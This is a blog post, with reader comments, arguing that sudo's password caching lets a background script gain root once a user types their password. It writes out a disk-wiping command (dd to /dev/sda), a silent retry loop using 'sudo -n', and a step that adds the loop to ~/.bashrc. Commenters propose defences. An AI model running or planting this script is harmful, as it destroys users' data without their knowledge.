Wait, What?!?
Yes, that is my honest opinion and i didn't write it accidentally. Just let me demonstrate that issue. By having sudo rights i can do "everything" on my Linux box (i'm using Ubuntu Linux for the commands in this post). One of the things i could do would be to zero out the drive so i'd just lose all the data:
dd if=/dev/zero of=/dev/sdaWouldn't that cause a nice and clean feeling? Well, not if someone else does it to your drive! You might be thinking now: "Thankfully it is not possible to run that command without sudo rights...". Or isn't it? Fortunately you're right on this thing - it is not possible to run that command without sudo rights. But that's just one side of the problem.
How To Use That Knowledge Against Me?
Let's try to run that command without sudo rights first:
jarmo@jarmo-laptop:~$ dd if=/dev/zero of=/dev/sda dd: opening `/dev/sda': Permission deniedNice. Now, let's try with sudo:
jarmo@jarmo-laptop:~$ sudo dd if=/dev/zero of=/dev/sda [sudo] password for jarmo:It asks for a password as expected. So if we don't enter that password right now then we are safe. Okay, we could trick that user to enter a password at this moment to trigger that command, but it wouldn't be that fun. Let's try some different approach instead.
Avoid Asking Sudo Password
As it turns out from the man-page of sudo then it has a command line switch for preventing password prompt to appear:
-n The (non - interactive) option prevents sudo from prompting the
user for a password. If a password is required for the command to
run, sudo will display an error messages and exit.
Okay let's try it:jarmo@jarmo-laptop:~$ sudo -n dd if=/dev/zero of=/dev/sda sudo: sorry, a password is required to run sudo jarmo@jarmo-laptop:~$Cool!
Creating The Malware
With knowing all that information it is possible to create some little script to use that against the Linux box. Let's start by creating our cool application into ~/.cool-app.sh:
while [ 1 ]; do sudo -n dd if=/dev/zero of=/dev/sda 2>/dev/null sleep 1 doneI've just done a script which tries to run that command forever and ever until there's sudo rights with additional redirection of all errors to /dev/null so i wouldn't suspect anything.
Let's run that script now:
jarmo@jarmo-laptop:~$ chmod +x cool-app.sh jarmo@jarmo-laptop:~$ ./cool-app.sh & [2] 21510 jarmo@jarmo-laptop:~$There you have it. The script is running in the background without showing any errors to the user.
Let's Start Your Engines
Let's add our cool application to one of the places where it will be started up automatically when terminal is opened - ~/.bashrc:
jarmo@jarmo-laptop:~$ echo "~/.cool-app.sh &" >> .bashrcNow, when you open up a new terminal window then that cool application will be started automatically in the background without you even knowing it. Cool, eh?
It's going to get even cooler! Just use your terminal as you use it every day. If you're so called expert Linux user then you have it opened all the time and of course you do something which needs sudo rights, right? For example, you'd like to install some other cool applications once in a while with apt-get install. Why not do it right now? When you have that script running in the background and you enter password for sudo then you will lose potentially all your data! That's what i'd call cool if i'd do that to myself!
What's The Problem?
The problem is in the way how Linux elevates privileges by sudo. When you enter the password for sudo then the current process and it's subprocesses will be given sudo rights. That's where the .cool-app.sh will get also sudo rights and will start with the process of destroying your very secure Linux box.
The same process works a little bit differently in Windows - administrative privileges will be given to the specified process and it's child processes, but not to the current process.
Conclusion
Did you notice that all the things i did in this post didn't require me having any sudo rights? I hope you did, because that's the main point - anyone determined enough can "install" that time-bomb to any Linux machine if having access to the file system in any way, maybe sending an e-mail with some attachment could help him/her out? There's no need to worry about missing rights, because the user of that box will elevate those rights sooner or later. He or her could create some very sophisticated software instead of deleting everything from the machine - gather information, act as a zombie machine and so on. The possibilities depend on him/her imagination.
Do you still feel secure behind your Linux? I wouldn't.
(PS! I'm a Windows user and don't know many things about Linux - if there's some good way to defend yourself against that "attack", just let me know in the comments.)
So, never run fishy scripts and binaries on Linux under a user with /sudo/ rights! This rule is universal and works even for Windows 98. :)
ReplyDeleteWhat makes Linux more secure than Windows is that you don't have to download so much from fishy warez sites to get that little bit of useful functionality to your system. Centralized, peer-reviewed repositories make it a bit more secure in this regard.
"if having access to the file system in any way" - is not enough. You have no access to anybodie's home directory from any other. So if you have access to somebodies logged in account, it's understandable, that you can make lot of damage.
ReplyDeleteThank you for your replies :)
ReplyDelete@Andrei: well, that's unfortunately always not possible - what if that fishy binary needs sudo rights rightfully? I'm not sure that every commit is reviewed on every software bit you're installing with apt-get install - i might be wrong of course and it could add some extra sense of security, but it's not foolproof either. And there's Java jars, Ruby gems, Python... well, you get the point. Then there's e-mail, internet with Java Applets, Flash and a lot of running software with possible vulnerabilities with access to the local filesystem.
@Aleksandr: point of this post was not to cause damage under your local account, but do something more. When i have just access to somebodie's logged in account, i can't do much outside of his account due to missing administrative rights so i can only cause a mess related with his/her account. Also read my reply to Andrei about pointing out only few of the possible ways of getting access to your file system.
I found a thread from ubuntu forums about the same issue: http://ubuntuforums.org/showthread.php?t=1045209
ReplyDeleteIt turns out there is an easy solution for the paranoid:
Edit the sudoers file by adding ",timestamp_timeout=0" to the end of the line "Defaults env_reset".
Now you have to type in your password every time you want to use sudo.
Use grsecurity.net and you can sleep well...
ReplyDeleteNormally, I don't use 'sudo'. Now what?
ReplyDeleteI am not a sudo user and I am a bit surprised, that there is an option like this. I think this option should be renamed as "give_all_my_processes_a_possibility_to_get_root_privileges_for_x_minutes" and after that I can't see a reason, why anyone would ever like to turn it on.
ReplyDeleteI also think, that the title of this post is misleading, because the post is really about "Is Sudo Configuration Options As Secure As You Think?"
@Erik: the fact that you're not a sudo user doesn't mean that the problem doesn't exist. Every installation of Ubuntu creates the user as a sudo user for example.
ReplyDeleteIf the title would have been as you suggested it, then you wouldn't had probably read it :) Catchy titles are better. And on top of that, this default configuration affects the security of Linux, so it's not totally misleading either.
@Jarmo: Where exactly did I say, that problem does not exist? On the contrary, I think that this is a serious problem and such configuration options should not even be available in security critical software.
ReplyDeleteBut you are right about catchy title. I probably wouldn't have read the article if the title had mentioned a software I didn't use.
I might be mistaken as hell, but by default some fishy shell script does not have execution rights from the get-go, ne would need to do the "chmod +x" to get that up-and-running.
ReplyDeletePjotr: I don't understand what's the point of your statement, since "chmod +x" can be run without needing sudo rights. In other words, it doesn't add any additional security to the specified problem.
ReplyDeleteWhat's The Problem?
ReplyDeleteThe problem is that everyone (security conscious) has sudo aliased to "sudo -k"...
And where's the problem when every security conscious person has sudo aliased to "sudo -k"? Oh right, the problem is that this is not the default behavior...
ReplyDeleteAlso, what keeps my script to unalias sudo? :) Again, no sudo rights are needed to do that...
ReplyDeleteNot again.... Please, do not judge about GNU/Linux based on Ubuntu. On a sane distro you have sudoers file empty and it's the system maintainer's fault if he doesn't know how to properly setup sudoers file. Besides, your example shows what a user that has rights to use sudo directly can do to the system using some crazy approach. So I don't get the idea of your example. If you'd give such an example that a user not having sudo rights does that to the system that would be different. So far this post is total bs.
ReplyDeleteNice comment, missing totally the point. Again. Also, OS X behaves the same, for example, so it's not only Ubuntu.
ReplyDeleteThe point of this post was in a really short sentence to show that in Linux (or Ubuntu, if that makes you comfortable) you can't be sure that entering your sudo password is a safe thing to do compared to running always as a root. Having an empty sudoers file or not having any sudo rights at all is completely different topic and doesn't have to do anything with this post or with this "attack vector", sorry.
a. chattr +i .bashrc executed as root, it's not a silver bullet but sure helps.
ReplyDeleteb. Use something like http://cfv.sourceforge.net/ to validate your fs content.
c. Use etckeeper to track changes made to config files.
d. Use SELinux or AppArmor for mandatory access control.